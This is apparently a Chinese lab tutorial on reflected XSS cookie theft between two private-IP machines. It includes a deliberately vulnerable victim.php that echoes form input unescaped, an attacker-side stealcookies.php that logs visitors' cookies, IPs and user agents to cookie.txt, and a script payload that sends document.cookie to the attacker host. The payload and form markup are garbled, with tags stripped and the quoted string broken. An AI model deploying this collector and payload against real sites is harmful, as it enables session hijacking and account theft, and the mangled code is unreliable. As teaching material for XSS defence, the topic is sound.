試驗(yàn)環(huán)境：

攻擊機(jī)器  10.1.36.181 stealcookies.php cookie.txt

受害服務(wù)器 10.1.36.34 victim.php victim.html

（1)受害者有xss漏洞的腳本victim.php （問題字段用紅色標(biāo)明）

php

session_start();

session_regenerate_id();

echo session_id()."

";

if(isset($_POST["login"]))

{

echo "Hello " .$_POST["name"]."

";

}

?>

(2)對(duì)應(yīng)表單victim.html

id ="form1" name="form1" method="post" action="victim.php">

Name

name="name" type="text" id="name"/>

name="login" type="submit" id="login" value="submit"/>

正常流程：

(3)攻擊者盜取cookie的腳本stealcookies.php

php

$ua = $_SERVER["HTTP_USER_AGENT"];

$client_ip = $_SERVER["REMOTE_ADDR"];

$method = $_SERVER["REQUEST_METHOD"];

$referer = $_SERVER["HTTP_REFERER"];

$date = date("F j, Y, g:i a");

$querystring = $_SERVER["QUERY_STRING"];

$log = fopen("cookie.txt","a+");

$str= "IP: $client_ip |Useragent: $ua | Method: $method | REF: $referer | Date: $date | Cookie: $querystring \n";

fwrite($log,$str);

?>

腳本運(yùn)行的前提條件，在stealcookies.php同一根目錄下，有一個(gè)有寫權(quán)限的文件cookie.txt

攻擊流程：

在 http://10.1.36.34/victim.html的表單中提交以下語句

<script>document.write(' + encodeURI(document.cookie) + '"/>')</script>

js的意思是生成一個(gè)包含攻擊者url的圖片

接著我們可以看到訪問該頁(yè)面用戶的cookie寫入到了攻擊者的cookie.txt文件里

查看攻擊者10.1.36.181上的cookie.txt文件

cat cookie.txt

可以看到收到cookie了。